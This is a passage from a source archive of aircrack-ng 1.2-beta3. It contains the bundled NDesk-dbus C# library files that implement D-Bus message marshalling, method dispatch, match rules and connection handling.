ToggleSignal (Mapper.GetInterfaceName (mi), ename, dlg, parts[0] == "add"); return; } Type[] inTypes = Mapper.GetTypes (ArgDirection.In, mi.GetParameters ()); Signature inSig = Signature.GetSig (inTypes); MethodCall method_call; Message callMsg; //build the outbound method call message { //this bit is error-prone (no null checking) and will need rewriting when DProxy is replaced string iface = null; if (mi != null) iface = Mapper.GetInterfaceName (mi); //map property accessors //TODO: this needs to be done properly, not with simple String.Replace //note that IsSpecialName is also for event accessors, but we already handled those and returned if (mi != null && mi.IsSpecialName) { methodName = methodName.Replace ("get_", "Get"); methodName = methodName.Replace ("set_", "Set"); } method_call = new MethodCall (object_path, iface, methodName, bus_name, inSig); callMsg = method_call.message; if (inArgs != null && inArgs.Length != 0) { MessageWriter writer = new MessageWriter (Connection.NativeEndianness); writer.connection = conn; for (int i = 0 ; i != inTypes.Length ; i++) writer.Write (inTypes[i], inArgs[i]); callMsg.Body = writer.ToArray (); } } //TODO: complete out parameter support /* Type[] outParmTypes = Mapper.GetTypes (ArgDirection.Out, mi.GetParameters ()); Signature outParmSig = Signature.GetSig (outParmTypes); if (outParmSig != Signature.Empty) throw new Exception ("Out parameters not yet supported: out_signature='" + outParmSig.Value + "'"); */ Type[] outTypes = new Type[1]; outTypes[0] = mi.ReturnType; //we default to always requiring replies for now, even though unnecessary //this is to make sure errors are handled synchronously //TODO: don't hard code this bool needsReply = true; //if (mi.ReturnType == typeof (void)) // needsReply = false; callMsg.ReplyExpected = needsReply; callMsg.Signature = inSig; if (!needsReply) { conn.Send (callMsg); return; } #if PROTO_REPLY_SIGNATURE if (needsReply) { Signature outSig = Signature.GetSig (outTypes); callMsg.Header.Fields[FieldCode.ReplySignature] = outSig; } #endif Message retMsg = conn.SendWithReplyAndBlock (callMsg); //handle the reply message switch (retMsg.Header.MessageType) { case MessageType.MethodReturn: object[] retVals = MessageHelper.GetDynamicValues (retMsg, outTypes); if (retVals.Length != 0) retVal = retVals[retVals.Length - 1]; break; case MessageType.Error: //TODO: typed exceptions Error error = new Error (retMsg); string errMsg = String.Empty; if (retMsg.Signature.Value.StartsWith ("s")) { MessageReader reader = new MessageReader (retMsg); errMsg = reader.ReadString (); } exception = new Exception (error.ErrorName + ": " + errMsg); break; default: throw new Exception ("Got unexpected message of type " + retMsg.Header.MessageType + " while waiting for a MethodReturn or Error"); } return; } public static object GetObject (Connection conn, string bus_name, ObjectPath object_path, Type declType) { Type proxyType = TypeImplementer.GetImplementation (declType); BusObject inst = (BusObject)Activator.CreateInstance (proxyType); inst.conn = conn; inst.bus_name = bus_name; inst.object_path = object_path; return inst; } public Delegate GetHookupDelegate (EventInfo ei) { DynamicMethod hookupMethod = TypeImplementer.GetHookupMethod (ei); Delegate d = hookupMethod.CreateDelegate (ei.EventHandlerType, this); return d; } } } aircrack-ng-1.2-beta3/lib/csharp/MonoExample/NDesk-dbus/ExportObject.cs0000644000000000000000000000525111600013506024372 0ustar rootroot// Copyright 2006 Alp Toker // This software is made available under the MIT License // See COPYING for details using System; using System.Reflection; using System.Reflection.Emit; using org.freedesktop.DBus; namespace NDesk.DBus { //TODO: perhaps ExportObject should not derive from BusObject internal class ExportObject : BusObject //, Peer { public readonly object obj; public ExportObject (Connection conn, ObjectPath object_path, object obj) : base (conn, null, object_path) { this.obj = obj; } //maybe add checks to make sure this is not called more than once //it's a bit silly as a property public bool Registered { set { Type type = obj.GetType (); foreach (MemberInfo mi in Mapper.GetPublicMembers (type)) { EventInfo ei = mi as EventInfo; if (ei == null) continue; Delegate dlg = GetHookupDelegate (ei); if (value) ei.AddEventHandler (obj, dlg); else ei.RemoveEventHandler (obj, dlg); } } } public void HandleMethodCall (MethodCall method_call) { Type type = obj.GetType (); //object retObj = type.InvokeMember (msg.Member, BindingFlags.InvokeMethod, null, obj, MessageHelper.GetDynamicValues (msg)); //TODO: there is no member name mapping for properties etc. yet MethodInfo mi = Mapper.GetMethod (type, method_call); if (mi == null) { conn.MaybeSendUnknownMethodError (method_call); return; } object retObj = null; object[] parmValues = MessageHelper.GetDynamicValues (method_call.message, mi.GetParameters ()); try { retObj = mi.Invoke (obj, parmValues); } catch (TargetInvocationException e) { if (!method_call.message.ReplyExpected) return; Exception ie = e.InnerException; //TODO: complete exception sending support Error error = new Error (Mapper.GetInterfaceName (ie.GetType ()), method_call.message.Header.Serial); error.message.Signature = new Signature (DType.String); MessageWriter writer = new MessageWriter (Connection.NativeEndianness); writer.connection = conn; writer.Write (ie.Message); error.message.Body = writer.ToArray (); //TODO: we should be more strict here, but this fallback was added as a quick fix for p2p if (method_call.Sender != null) error.message.Header.Fields[FieldCode.Destination] = method_call.Sender; conn.Send (error.message); return; } if (method_call.message.ReplyExpected) { Message reply = MessageHelper.ConstructDynamicReply (method_call, mi, retObj, parmValues); conn.Send (reply); } } /* public void Ping () { } public string GetMachineId () { //TODO: implement this return String.Empty; } */ } } aircrack-ng-1.2-beta3/lib/csharp/MonoExample/NDesk-dbus/Mapper.cs0000644000000000000000000002534011600013506023207 0ustar rootroot// Copyright 2006 Alp Toker // This software is made available under the MIT License // See COPYING for details using System; using System.Collections.Generic; using System.Reflection; namespace NDesk.DBus { static class Mapper { //TODO: move these Get*Name helpers somewhere more appropriate public static string GetArgumentName (ParameterInfo pi) { string argName = pi.Name; if (pi.IsRetval && String.IsNullOrEmpty (argName)) argName = "ret"; return GetArgumentName ((ICustomAttributeProvider)pi, argName); } public static string GetArgumentName (ICustomAttributeProvider attrProvider, string defaultName) { string argName = defaultName; //TODO: no need for foreach foreach (ArgumentAttribute aa in attrProvider.GetCustomAttributes (typeof (ArgumentAttribute), true)) argName = aa.Name; return argName; } //TODO: these two methods are quite messy and need review public static IEnumerable GetPublicMembers (Type type) { //note that Type.GetInterfaces() returns all interfaces with flattened hierarchy foreach (Type ifType in type.GetInterfaces ()) foreach (MemberInfo mi in GetDeclaredPublicMembers (ifType)) yield return mi; if (IsPublic (type)) foreach (MemberInfo mi in GetDeclaredPublicMembers (type)) yield return mi; } static IEnumerable GetDeclaredPublicMembers (Type type) { if (IsPublic (type)) foreach (MemberInfo mi in type.GetMembers (BindingFlags.Public | BindingFlags.Instance | BindingFlags.DeclaredOnly)) yield return mi; } //this method walks the interface tree in an undefined manner and returns the first match, or if no matches are found, null //the logic needs review and cleanup //TODO: unify member name mapping as is already done with interfaces and args public static MethodInfo GetMethod (Type type, MethodCall method_call) { foreach (MemberInfo member in Mapper.GetPublicMembers (type)) { //this could be made more efficient by using the given interface name earlier and avoiding walking through all public interfaces if (method_call.Interface != null) if (GetInterfaceName (member) != method_call.Interface) continue; MethodInfo meth = null; Type[] inTypes = null; if (member is PropertyInfo) { PropertyInfo prop = member as PropertyInfo; MethodInfo getter = prop.GetGetMethod (false); MethodInfo setter = prop.GetSetMethod (false); if (getter != null && "Get" + prop.Name == method_call.Member) { meth = getter; inTypes = Type.EmptyTypes; } else if (setter != null && "Set" + prop.Name == method_call.Member) { meth = setter; inTypes = new Type[] {prop.PropertyType}; } } else { meth = member as MethodInfo; if (meth == null) continue; if (meth.Name != method_call.Member) continue; inTypes = Mapper.GetTypes (ArgDirection.In, meth.GetParameters ()); } if (meth == null || inTypes == null) continue; Signature inSig = Signature.GetSig (inTypes); if (inSig != method_call.Signature) continue; return meth; } return null; } public static bool IsPublic (MemberInfo mi) { return IsPublic (mi.DeclaringType); } public static bool IsPublic (Type type) { //we need to have a proper look at what's really public at some point //this will do for now if (type.IsDefined (typeof (InterfaceAttribute), false)) return true; if (type.IsSubclassOf (typeof (MarshalByRefObject))) return true; return false; } public static string GetInterfaceName (MemberInfo mi) { return GetInterfaceName (mi.DeclaringType); } public static string GetInterfaceName (Type type) { string interfaceName = type.FullName; //TODO: better fallbacks and namespace mangling when no InterfaceAttribute is available //TODO: no need for foreach foreach (InterfaceAttribute ia in type.GetCustomAttributes (typeof (InterfaceAttribute), true)) interfaceName = ia.Name; return interfaceName; } public static Type[] GetTypes (ArgDirection dir, ParameterInfo[] parms) { List types = new List (); //TODO: consider InOut/Ref for (int i = 0 ; i != parms.Length ; i++) { switch (dir) { case ArgDirection.In: //docs say IsIn isn't reliable, and this is indeed true //if (parms[i].IsIn) if (!parms[i].IsOut) types.Add (parms[i].ParameterType); break; case ArgDirection.Out: if (parms[i].IsOut) { //TODO: note that IsOut is optional to the compiler, we may want to use IsByRef instead //eg: if (parms[i].ParameterType.IsByRef) types.Add (parms[i].ParameterType.GetElementType ()); } break; } } return types.ToArray (); } public static bool IsDeprecated (ICustomAttributeProvider attrProvider) { return attrProvider.IsDefined (typeof (ObsoleteAttribute), true); } static bool AreEqual (Type[] a, Type[] b) { if (a.Length != b.Length) return false; for (int i = 0 ; i != a.Length ; i++) if (a[i] != b[i]) return false; return true; } //workaround for Mono bug #81035 (memory leak) static List genTypes = new List (); internal static Type GetGenericType (Type defType, Type[] parms) { foreach (Type genType in genTypes) { if (genType.GetGenericTypeDefinition () != defType) continue; Type[] genParms = genType.GetGenericArguments (); if (!AreEqual (genParms, parms)) continue; return genType; } Type type = defType.MakeGenericType (parms); genTypes.Add (type); return type; } } //TODO: this class is messy, move the methods somewhere more appropriate static class MessageHelper { public static Message CreateUnknownMethodError (MethodCall method_call) { if (!method_call.message.ReplyExpected) return null; string errMsg = String.Format ("Method \"{0}\" with signature \"{1}\" on interface \"{2}\" doesn't exist", method_call.Member, method_call.Signature.Value, method_call.Interface); Error error = new Error ("org.freedesktop.DBus.Error.UnknownMethod", method_call.message.Header.Serial); error.message.Signature = new Signature (DType.String); MessageWriter writer = new MessageWriter (Connection.NativeEndianness); writer.Write (errMsg); error.message.Body = writer.ToArray (); //TODO: we should be more strict here, but this fallback was added as a quick fix for p2p if (method_call.Sender != null) error.message.Header.Fields[FieldCode.Destination] = method_call.Sender; return error.message; } public static void WriteDynamicValues (MessageWriter mw, ParameterInfo[] parms, object[] vals) { foreach (ParameterInfo parm in parms) { if (!parm.IsOut) continue; Type actualType = parm.ParameterType.GetElementType (); mw.Write (actualType, vals[parm.Position]); } } public static object[] GetDynamicValues (Message msg, ParameterInfo[] parms) { //TODO: this validation check should provide better information, eg. message dump or a stack trace, or at least the interface/member /* if (Protocol.Verbose) { Signature expected = Signature.GetSig (types); Signature actual = msg.Signature; if (actual != expected) Console.Error.WriteLine ("Warning: The signature of the message does not match that of the handler: " + "Expected '" + expected + "', got '" + actual + "'"); } */ object[] vals = new object[parms.Length]; if (msg.Body != null) { MessageReader reader = new MessageReader (msg); foreach (ParameterInfo parm in parms) { if (parm.IsOut) continue; vals[parm.Position] = reader.ReadValue (parm.ParameterType); } } return vals; } public static object[] GetDynamicValues (Message msg, Type[] types) { //TODO: this validation check should provide better information, eg. message dump or a stack trace, or at least the interface/member if (Protocol.Verbose) { Signature expected = Signature.GetSig (types); Signature actual = msg.Signature; if (actual != expected) Console.Error.WriteLine ("Warning: The signature of the message does not match that of the handler: " + "Expected '" + expected + "', got '" + actual + "'"); } object[] vals = new object[types.Length]; if (msg.Body != null) { MessageReader reader = new MessageReader (msg); for (int i = 0 ; i != types.Length ; i++) vals[i] = reader.ReadValue (types[i]); } return vals; } public static Message ConstructReply (MethodCall method_call, params object[] vals) { MethodReturn method_return = new MethodReturn (method_call.message.Header.Serial); Message replyMsg = method_return.message; Signature inSig = Signature.GetSig (vals); if (vals != null && vals.Length != 0) { MessageWriter writer = new MessageWriter (Connection.NativeEndianness); foreach (object arg in vals) writer.Write (arg.GetType (), arg); replyMsg.Body = writer.ToArray (); } //TODO: we should be more strict here, but this fallback was added as a quick fix for p2p if (method_call.Sender != null) replyMsg.Header.Fields[FieldCode.Destination] = method_call.Sender; replyMsg.Signature = inSig; //replyMsg.WriteHeader (); return replyMsg; } public static Message ConstructDynamicReply (MethodCall method_call, MethodInfo mi, object retVal, object[] vals) { Type retType = mi.ReturnType; MethodReturn method_return = new MethodReturn (method_call.message.Header.Serial); Message replyMsg = method_return.message; Signature outSig = Signature.GetSig (retType); outSig += Signature.GetSig (Mapper.GetTypes (ArgDirection.Out, mi.GetParameters ())); if (outSig != Signature.Empty) { MessageWriter writer = new MessageWriter (Connection.NativeEndianness); //first write the return value, if any if (retType != null && retType != typeof (void)) writer.Write (retType, retVal); //then write the out args WriteDynamicValues (writer, mi.GetParameters (), vals); replyMsg.Body = writer.ToArray (); } //TODO: we should be more strict here, but this fallback was added as a quick fix for p2p if (method_call.Sender != null) replyMsg.Header.Fields[FieldCode.Destination] = method_call.Sender; replyMsg.Signature = outSig; return replyMsg; } } [AttributeUsage (AttributeTargets.Interface | AttributeTargets.Class, AllowMultiple=false, Inherited=true)] public class InterfaceAttribute : Attribute { public string Name; public InterfaceAttribute (string name) { this.Name = name; } } [AttributeUsage (AttributeTargets.Parameter | AttributeTargets.ReturnValue, AllowMultiple=false, Inherited=true)] public class ArgumentAttribute : Attribute { public string Name; public ArgumentAttribute (string name) { this.Name = name; } } } aircrack-ng-1.2-beta3/lib/csharp/MonoExample/NDesk-dbus/MatchRule.cs0000644000000000000000000001207611600013506023651 0ustar rootroot// Copyright 2007 Alp Toker // This software is made available under the MIT License // See COPYING for details using System; using System.Text; using System.Collections.Generic; namespace NDesk.DBus { //delegate void MessageHandler (Message msg); class MatchRule { public MessageType? MessageType; public string Interface; public string Member; public ObjectPath Path; public string Sender; public string Destination; public readonly SortedDictionary Args = new SortedDictionary (); public MatchRule () { } void Append (StringBuilder sb, string key, string value) { if (sb.Length != 0) sb.Append (","); sb.Append (key + "='"); sb.Append (value); sb.Append ("'"); } void AppendArg (StringBuilder sb, int index, string value) { Append (sb, "arg" + index, value); } public override bool Equals (object o) { MatchRule r = o as MatchRule; if (r == null) return false; if (r.MessageType != MessageType) return false; if (r.Interface != Interface) return false; if (r.Member != Member) return false; //TODO: see why path comparison doesn't work if (r.Path.Value != Path.Value) //if (r.Path != Path) return false; if (r.Sender != Sender) return false; if (r.Destination != Destination) return false; //FIXME: do args return true; } public override int GetHashCode () { //FIXME: not at all optimal return ToString ().GetHashCode (); } public override string ToString () { StringBuilder sb = new StringBuilder (); if (MessageType != null) Append (sb, "type", MessageFilter.MessageTypeToString ((MessageType)MessageType)); if (Interface != null) Append (sb, "interface", Interface); if (Member != null) Append (sb, "member", Member); if (Path != null) //Append (sb, "path", Path.ToString ()); Append (sb, "path", Path.Value); if (Sender != null) Append (sb, "sender", Sender); if (Destination != null) Append (sb, "destination", Destination); if (Args != null) { foreach (KeyValuePair pair in Args) AppendArg (sb, pair.Key, pair.Value); } return sb.ToString (); } //this is useful as a Predicate delegate public bool Matches (Message msg) { if (MessageType != null) if (msg.Header.MessageType != MessageType) return false; object value; if (Interface != null) if (msg.Header.Fields.TryGetValue (FieldCode.Interface, out value)) if ((string)value != Interface) return false; if (Member != null) if (msg.Header.Fields.TryGetValue (FieldCode.Member, out value)) if ((string)value != Member) return false; if (Path != null) if (msg.Header.Fields.TryGetValue (FieldCode.Path, out value)) //if ((ObjectPath)value != Path) if (((ObjectPath)value).Value != Path.Value) return false; if (Sender != null) if (msg.Header.Fields.TryGetValue (FieldCode.Sender, out value)) if ((string)value != Sender) return false; if (Destination != null) if (msg.Header.Fields.TryGetValue (FieldCode.Destination, out value)) if ((string)value != Destination) return false; //FIXME: do args return true; } //this could be made more efficient public static MatchRule Parse (string text) { MatchRule r = new MatchRule (); foreach (string propStr in text.Split (',')) { string[] parts = propStr.Split ('='); if (parts.Length < 2) throw new Exception ("No equals sign found"); if (parts.Length > 2) throw new Exception ("Too many equals signs found"); string key = parts[0].Trim (); string value = parts[1].Trim (); if (!value.StartsWith ("'") || !value.EndsWith ("'")) throw new Exception ("Too many equals signs found"); value = value.Substring (1, value.Length - 2); if (key.StartsWith ("arg")) { int argnum = Int32.Parse (key.Remove (0, "arg".Length)); if (argnum < 0 || argnum > 63) throw new Exception ("arg match must be between 0 and 63 inclusive"); if (r.Args.ContainsKey (argnum)) return null; r.Args[argnum] = value; continue; } //TODO: more consistent error handling switch (key) { case "type": if (r.MessageType != null) return null; r.MessageType = MessageFilter.StringToMessageType (value); break; case "interface": if (r.Interface != null) return null; r.Interface = value; break; case "member": if (r.Member != null) return null; r.Member = value; break; case "path": if (r.Path != null) return null; r.Path = new ObjectPath (value); break; case "sender": if (r.Sender != null) return null; r.Sender = value; break; case "destination": if (r.Destination != null) return null; r.Destination = value; break; default: if (Protocol.Verbose) Console.Error.WriteLine ("Warning: Unrecognized match rule key: " + key); break; } } return r; } } } aircrack-ng-1.2-beta3/lib/csharp/MonoExample/NDesk-dbus/Protocol.cs0000644000000000000000000001530611600013506023565 0ustar rootroot// Copyright 2006 Alp Toker // This software is made available under the MIT License // See COPYING for details using System; using System.Collections.Generic; namespace NDesk.DBus { //yyyyuua{yv} struct Header { public EndianFlag Endianness; public MessageType MessageType; public HeaderFlag Flags; public byte MajorVersion; public uint Length; public uint Serial; //public HeaderField[] Fields; public IDictionary Fields; /* public static DType TypeForField (FieldCode f) { switch (f) { case FieldCode.Invalid: return DType.Invalid; case FieldCode.Path: return DType.ObjectPath; case FieldCode.Interface: return DType.String; case FieldCode.Member: return DType.String; case FieldCode.ErrorName: return DType.String; case FieldCode.ReplySerial: return DType.UInt32; case FieldCode.Destination: return DType.String; case FieldCode.Sender: return DType.String; case FieldCode.Signature: return DType.Signature; #if PROTO_REPLY_SIGNATURE case FieldCode.ReplySignature: //note: not supported in dbus return DType.Signature; #endif default: return DType.Invalid; } } */ } /* public struct HeaderField { //public HeaderField (FieldCode code, object value) //{ // this.Code = code; // this.Value = value; //} public static HeaderField Create (FieldCode code, object value) { HeaderField hf; hf.Code = code; hf.Value = value; return hf; } public FieldCode Code; public object Value; } */ enum MessageType : byte { //This is an invalid type. Invalid, //Method call. MethodCall, //Method reply with returned data. MethodReturn, //Error reply. If the first argument exists and is a string, it is an error message. Error, //Signal emission. Signal, } enum FieldCode : byte { Invalid, Path, Interface, Member, ErrorName, ReplySerial, Destination, Sender, Signature, #if PROTO_REPLY_SIGNATURE ReplySignature, //note: not supported in dbus #endif } enum EndianFlag : byte { Little = (byte)'l', Big = (byte)'B', } [Flags] enum HeaderFlag : byte { None = 0, NoReplyExpected = 0x1, NoAutoStart = 0x2, } public sealed class ObjectPath //: IComparable, IComparable, IEquatable { public static readonly ObjectPath Root = new ObjectPath ("/"); internal readonly string Value; public ObjectPath (string value) { if (value == null) throw new ArgumentNullException ("value"); this.Value = value; } public override bool Equals (object o) { ObjectPath b = o as ObjectPath; if (b == null) return false; return Value.Equals (b.Value); } public override int GetHashCode () { return Value.GetHashCode (); } public override string ToString () { return Value; } //this may or may not prove useful internal string[] Decomposed { get { return Value.Split (new char[] {'/'}, StringSplitOptions.RemoveEmptyEntries); /* } set { Value = String.Join ("/", value); */ } } internal ObjectPath Parent { get { if (Value == Root.Value) return null; string par = Value.Substring (0, Value.LastIndexOf ('/')); if (par == String.Empty) par = "/"; return new ObjectPath (par); } } /* public int CompareTo (object value) { return 1; } public int CompareTo (ObjectPath value) { return 1; } public bool Equals (ObjectPath value) { return false; } */ } static class Protocol { //protocol versions that we support public const byte MinVersion = 0; public const byte Version = 1; public const byte MaxVersion = Version; public const uint MaxMessageLength = 134217728; //2 to the 27th power public const uint MaxArrayLength = 67108864; //2 to the 26th power public const uint MaxSignatureLength = 255; public const uint MaxArrayDepth = 32; public const uint MaxStructDepth = 32; //this is not strictly related to Protocol since names are passed around as strings internal const uint MaxNameLength = 255; public static int PadNeeded (int pos, int alignment) { int pad = pos % alignment; pad = pad == 0 ? 0 : alignment - pad; return pad; } public static int Padded (int pos, int alignment) { int pad = pos % alignment; if (pad != 0) pos += alignment - pad; return pos; } public static int GetAlignment (DType dtype) { switch (dtype) { case DType.Byte: return 1; case DType.Boolean: return 4; case DType.Int16: case DType.UInt16: return 2; case DType.Int32: case DType.UInt32: return 4; case DType.Int64: case DType.UInt64: return 8; #if !DISABLE_SINGLE case DType.Single: //Not yet supported! return 4; #endif case DType.Double: return 8; case DType.String: return 4; case DType.ObjectPath: return 4; case DType.Signature: return 1; case DType.Array: return 4; case DType.Struct: return 8; case DType.Variant: return 1; case DType.DictEntry: return 8; case DType.Invalid: default: throw new Exception ("Cannot determine alignment of " + dtype); } } //this class may not be the best place for Verbose public readonly static bool Verbose; static Protocol () { Verbose = !String.IsNullOrEmpty (Environment.GetEnvironmentVariable ("DBUS_VERBOSE")); } } #if UNDOCUMENTED_IN_SPEC /* "org.freedesktop.DBus.Error.Failed" "org.freedesktop.DBus.Error.NoMemory" "org.freedesktop.DBus.Error.ServiceUnknown" "org.freedesktop.DBus.Error.NameHasNoOwner" "org.freedesktop.DBus.Error.NoReply" "org.freedesktop.DBus.Error.IOError" "org.freedesktop.DBus.Error.BadAddress" "org.freedesktop.DBus.Error.NotSupported" "org.freedesktop.DBus.Error.LimitsExceeded" "org.freedesktop.DBus.Error.AccessDenied" "org.freedesktop.DBus.Error.AuthFailed" "org.freedesktop.DBus.Error.NoServer" "org.freedesktop.DBus.Error.Timeout" "org.freedesktop.DBus.Error.NoNetwork" "org.freedesktop.DBus.Error.AddressInUse" "org.freedesktop.DBus.Error.Disconnected" "org.freedesktop.DBus.Error.InvalidArgs" "org.freedesktop.DBus.Error.FileNotFound" "org.freedesktop.DBus.Error.UnknownMethod" "org.freedesktop.DBus.Error.TimedOut" "org.freedesktop.DBus.Error.MatchRuleNotFound" "org.freedesktop.DBus.Error.MatchRuleInvalid" "org.freedesktop.DBus.Error.Spawn.ExecFailed" "org.freedesktop.DBus.Error.Spawn.ForkFailed" "org.freedesktop.DBus.Error.Spawn.ChildExited" "org.freedesktop.DBus.Error.Spawn.ChildSignaled" "org.freedesktop.DBus.Error.Spawn.Failed" "org.freedesktop.DBus.Error.UnixProcessIdUnknown" "org.freedesktop.DBus.Error.InvalidSignature" "org.freedesktop.DBus.Error.SELinuxSecurityContextUnknown" */ #endif } aircrack-ng-1.2-beta3/lib/csharp/MonoExample/NDesk-dbus/Connection.cs0000644000000000000000000003442011600013506024061 0ustar rootroot// Copyright 2006 Alp Toker // This software is made available under the MIT License // See COPYING for details using System; using System.Collections.Generic; using System.IO; using System.Threading; using System.Reflection; namespace NDesk.DBus { using Authentication; using Transports; public partial class Connection { //TODO: reconsider this field Stream ns = null; Transport transport; internal Transport Transport { get { return transport; } set { transport = value; } } protected Connection () {} internal Connection (Transport transport) { this.transport = transport; transport.Connection = this; //TODO: clean this bit up ns = transport.Stream; } //should this be public? internal Connection (string address) { OpenPrivate (address); Authenticate (); } /* bool isConnected = false; public bool IsConnected { get { return isConnected; } } */ //should we do connection sharing here? public static Connection Open (string address) { Connection conn = new Connection (); conn.OpenPrivate (address); conn.Authenticate (); return conn; } internal void OpenPrivate (string address) { if (address == null) throw new ArgumentNullException ("address"); AddressEntry[] entries = Address.Parse (address); if (entries.Length == 0) throw new Exception ("No addresses were found"); //TODO: try alternative addresses if needed AddressEntry entry = entries[0]; transport = Transport.Create (entry); //TODO: clean this bit up ns = transport.Stream; } void Authenticate () { if (transport != null) transport.WriteCred (); SaslClient auth = new SaslClient (this); auth.Run (); isAuthenticated = true; } bool isAuthenticated = false; internal bool IsAuthenticated { get { return isAuthenticated; } } //Interlocked.Increment() handles the overflow condition for uint correctly, so it's ok to store the value as an int but cast it to uint int serial = 0; uint GenerateSerial () { //return ++serial; return (uint)Interlocked.Increment (ref serial); } internal Message SendWithReplyAndBlock (Message msg) { PendingCall pending = SendWithReply (msg); return pending.Reply; } internal PendingCall SendWithReply (Message msg) { msg.ReplyExpected = true; msg.Header.Serial = GenerateSerial (); //TODO: throttle the maximum number of concurrent PendingCalls PendingCall pending = new PendingCall (this); pendingCalls[msg.Header.Serial] = pending; WriteMessage (msg); return pending; } internal uint Send (Message msg) { msg.Header.Serial = GenerateSerial (); WriteMessage (msg); //Outbound.Enqueue (msg); //temporary //Flush (); return msg.Header.Serial; } object writeLock = new object (); internal void WriteMessage (Message msg) { byte[] HeaderData = msg.GetHeaderData (); long msgLength = HeaderData.Length + (msg.Body != null ? msg.Body.Length : 0); if (msgLength > Protocol.MaxMessageLength) throw new Exception ("Message length " + msgLength + " exceeds maximum allowed " + Protocol.MaxMessageLength + " bytes"); lock (writeLock) { ns.Write (HeaderData, 0, HeaderData.Length); if (msg.Body != null && msg.Body.Length != 0) ns.Write (msg.Body, 0, msg.Body.Length); } } Queue Inbound = new Queue (); /* Queue Outbound = new Queue (); public void Flush () { //should just iterate the enumerator here while (Outbound.Count != 0) { Message msg = Outbound.Dequeue (); WriteMessage (msg); } } public bool ReadWrite (int timeout_milliseconds) { //TODO return true; } public bool ReadWrite () { return ReadWrite (-1); } public bool Dispatch () { //TODO Message msg = Inbound.Dequeue (); //HandleMessage (msg); return true; } public bool ReadWriteDispatch (int timeout_milliseconds) { //TODO return Dispatch (); } public bool ReadWriteDispatch () { return ReadWriteDispatch (-1); } */ internal Message ReadMessage () { byte[] header; byte[] body = null; int read; //16 bytes is the size of the fixed part of the header byte[] hbuf = new byte[16]; read = ns.Read (hbuf, 0, 16); if (read == 0) return null; if (read != 16) throw new Exception ("Header read length mismatch: " + read + " of expected " + "16"); EndianFlag endianness = (EndianFlag)hbuf[0]; MessageReader reader = new MessageReader (endianness, hbuf); //discard the endian byte as we've already read it reader.ReadByte (); //discard message type and flags, which we don't care about here reader.ReadByte (); reader.ReadByte (); byte version = reader.ReadByte (); if (version < Protocol.MinVersion || version > Protocol.MaxVersion) throw new NotSupportedException ("Protocol version '" + version.ToString () + "' is not supported"); if (Protocol.Verbose) if (version != Protocol.Version) Console.Error.WriteLine ("Warning: Protocol version '" + version.ToString () + "' is not explicitly supported but may be compatible"); uint bodyLength = reader.ReadUInt32 (); //discard serial reader.ReadUInt32 (); uint headerLength = reader.ReadUInt32 (); //this check may become relevant if a future version of the protocol allows larger messages /* if (bodyLength > Int32.MaxValue || headerLength > Int32.MaxValue) throw new NotImplementedException ("Long messages are not yet supported"); */ int bodyLen = (int)bodyLength; int toRead = (int)headerLength; //we fixup to include the padding following the header toRead = Protocol.Padded (toRead, 8); long msgLength = toRead + bodyLen; if (msgLength > Protocol.MaxMessageLength) throw new Exception ("Message length " + msgLength + " exceeds maximum allowed " + Protocol.MaxMessageLength + " bytes"); header = new byte[16 + toRead]; Array.Copy (hbuf, header, 16); read = ns.Read (header, 16, toRead); if (read != toRead) throw new Exception ("Message header length mismatch: " + read + " of expected " + toRead); //read the body if (bodyLen != 0) { body = new byte[bodyLen]; read = ns.Read (body, 0, bodyLen); if (read != bodyLen) throw new Exception ("Message body length mismatch: " + read + " of expected " + bodyLen); } Message msg = new Message (); msg.Connection = this; msg.Body = body; msg.SetHeaderData (header); return msg; } //temporary hack internal void DispatchSignals () { lock (Inbound) { while (Inbound.Count != 0) { Message msg = Inbound.Dequeue (); HandleSignal (msg); } } } internal Thread mainThread = Thread.CurrentThread; //temporary hack public void Iterate () { mainThread = Thread.CurrentThread; //Message msg = Inbound.Dequeue (); Message msg = ReadMessage (); HandleMessage (msg); DispatchSignals (); } internal void HandleMessage (Message msg) { //TODO: support disconnection situations properly and move this check elsewhere if (msg == null) throw new ArgumentNullException ("msg", "Cannot handle a null message; maybe the bus was disconnected"); { object field_value; if (msg.Header.Fields.TryGetValue (FieldCode.ReplySerial, out field_value)) { uint reply_serial = (uint)field_value; PendingCall pending; if (pendingCalls.TryGetValue (reply_serial, out pending)) { if (pendingCalls.Remove (reply_serial)) pending.Reply = msg; return; } //we discard reply messages with no corresponding PendingCall if (Protocol.Verbose) Console.Error.WriteLine ("Unexpected reply message received: MessageType='" + msg.Header.MessageType + "', ReplySerial=" + reply_serial); return; } } switch (msg.Header.MessageType) { case MessageType.MethodCall: MethodCall method_call = new MethodCall (msg); HandleMethodCall (method_call); break; case MessageType.Signal: //HandleSignal (msg); lock (Inbound) Inbound.Enqueue (msg); break; case MessageType.Error: //TODO: better exception handling Error error = new Error (msg); string errMsg = String.Empty; if (msg.Signature.Value.StartsWith ("s")) { MessageReader reader = new MessageReader (msg); errMsg = reader.ReadString (); } //throw new Exception ("Remote Error: Signature='" + msg.Signature.Value + "' " + error.ErrorName + ": " + errMsg); //if (Protocol.Verbose) Console.Error.WriteLine ("Remote Error: Signature='" + msg.Signature.Value + "' " + error.ErrorName + ": " + errMsg); break; case MessageType.Invalid: default: throw new Exception ("Invalid message received: MessageType='" + msg.Header.MessageType + "'"); } } Dictionary pendingCalls = new Dictionary (); //this might need reworking with MulticastDelegate internal void HandleSignal (Message msg) { Signal signal = new Signal (msg); //TODO: this is a hack, not necessary when MatchRule is complete MatchRule rule = new MatchRule (); rule.MessageType = MessageType.Signal; rule.Interface = signal.Interface; rule.Member = signal.Member; rule.Path = signal.Path; Delegate dlg; if (Handlers.TryGetValue (rule, out dlg)) { //dlg.DynamicInvoke (GetDynamicValues (msg)); MethodInfo mi = dlg.Method; //signals have no return value dlg.DynamicInvoke (MessageHelper.GetDynamicValues (msg, mi.GetParameters ())); } else { //TODO: how should we handle this condition? sending an Error may not be appropriate in this case if (Protocol.Verbose) Console.Error.WriteLine ("Warning: No signal handler for " + signal.Member); } } internal Dictionary Handlers = new Dictionary (); //very messy internal void MaybeSendUnknownMethodError (MethodCall method_call) { Message msg = MessageHelper.CreateUnknownMethodError (method_call); if (msg != null) Send (msg); } //not particularly efficient and needs to be generalized internal void HandleMethodCall (MethodCall method_call) { //TODO: Ping and Introspect need to be abstracted and moved somewhere more appropriate once message filter infrastructure is complete //FIXME: these special cases are slightly broken for the case where the member but not the interface is specified in the message if (method_call.Interface == "org.freedesktop.DBus.Peer" && method_call.Member == "Ping") { Message reply = MessageHelper.ConstructReply (method_call); Send (reply); return; } if (method_call.Interface == "org.freedesktop.DBus.Introspectable" && method_call.Member == "Introspect") { Introspector intro = new Introspector (); 